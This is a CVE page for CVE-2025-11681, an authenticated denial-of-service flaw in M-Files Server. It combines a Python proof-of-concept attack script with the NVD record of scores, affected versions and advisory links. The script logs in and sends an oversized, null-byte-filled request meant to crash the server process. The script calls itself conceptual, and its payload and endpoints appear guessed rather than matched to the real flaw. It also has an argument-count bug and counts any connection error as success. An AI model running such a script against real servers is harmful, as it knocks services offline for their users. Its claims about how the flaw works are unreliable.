CVE-2025-11681

# CVE-2025-11681 PoC - M-Files Server DoS # Target: M-Files Server < 25.11.15392.1, < 25.2 LTS SR2, < 25.8 LTS SR2 # Author: Security Researcher # Note: This is a conceptual PoC for educational purposes only import requests import sys import time def exploit_mfiles_dos(target_url, username, password): """ M-Files Server DoS vulnerability exploitation This PoC demonstrates how an authenticated user can trigger a denial of service condition in vulnerable M-Files Server versions. """ # Login to M-Files Server session = requests.Session() # Step 1: Authenticate to M-Files login_url = f"{target_url}/MFiles/API/server/authentication.aspx" login_data = { 'username': username, 'password': password, 'database': 'Sample Vault' } try: # Attempt login response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed") return False print(f"[+] Successfully authenticated as {username}") # Step 2: Send malicious request to trigger DoS # This payload exploits the vulnerability in MFserver process exploit_url = f"{target_url}/MFiles/API/v1/objects/collections" # Malformed request payload that triggers the vulnerability malicious_payload = { 'objver': 'A' * 10000, # Overflow condition 'property': '\x00' * 5000, # Null byte injection 'type': -1 # Invalid type } print(f"[*] Sending malicious request to trigger DoS...") response = session.post(exploit_url, json=malicious_payload, timeout=5) # Step 3: Verify server crash time.sleep(2) health_check = session.get(f"{target_url}/MFiles/API/server/healthcheck", timeout=10) if health_check.status_code != 200: print(f"[+] DoS condition confirmed - MFserver process crashed") return True else: print(f"[*] Server still responding - may need payload adjustment") return False except requests.exceptions.RequestException as e: print(f"[+] DoS triggered - Server unreachable: {str(e)}") return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} https://mfiles-server.local demo password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_mfiles_dos(target, user, pwd)

{"cve": {"id": "CVE-2025-11681", "sourceIdentifier": "[email protected]", "published": "2025-11-17T12:15:43.250", "lastModified": "2026-02-23T11:16:18.593", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Denial-of-service condition in M-Files Server versions before 25.11.15392.1, before 25.2 LTS SR2 and before 25.8 LTS SR2 allows an authenticated user to cause the MFserver process to crash."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:m-files:m-files_server:*:*:*:*:lts:*:*:*", "versionEndExcluding": "25.2.14524.13", "matchCriteriaId": "2E0E9286-5046-460E-805C-5678064006CD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:m-files:m-files_server:*:*:*:*:-:*:*:*", "versionEndExcluding": "25.11.15392.1", "matchCriteriaId": "480FA313-EA49-4A2D-8A68-9B18DCE6D38C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:m-files:m-files_server:*:*:*:*:lts:*:*:*", "versionStartIncluding": "25.8.15085.13", "versionEndExcluding": "25.8.15085.17", "matchCriteriaId": "D616D42B-B3D1-4EA5-9848-2F10CFBA2F03"}]}]}], "references": [{"url": "https://empower.m-files.com/security-advisories/CVE-2025-11681", "source": "[email protected]"}, {"url": "https://product.m-files.com/security-advisories/cve-2025-11681/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}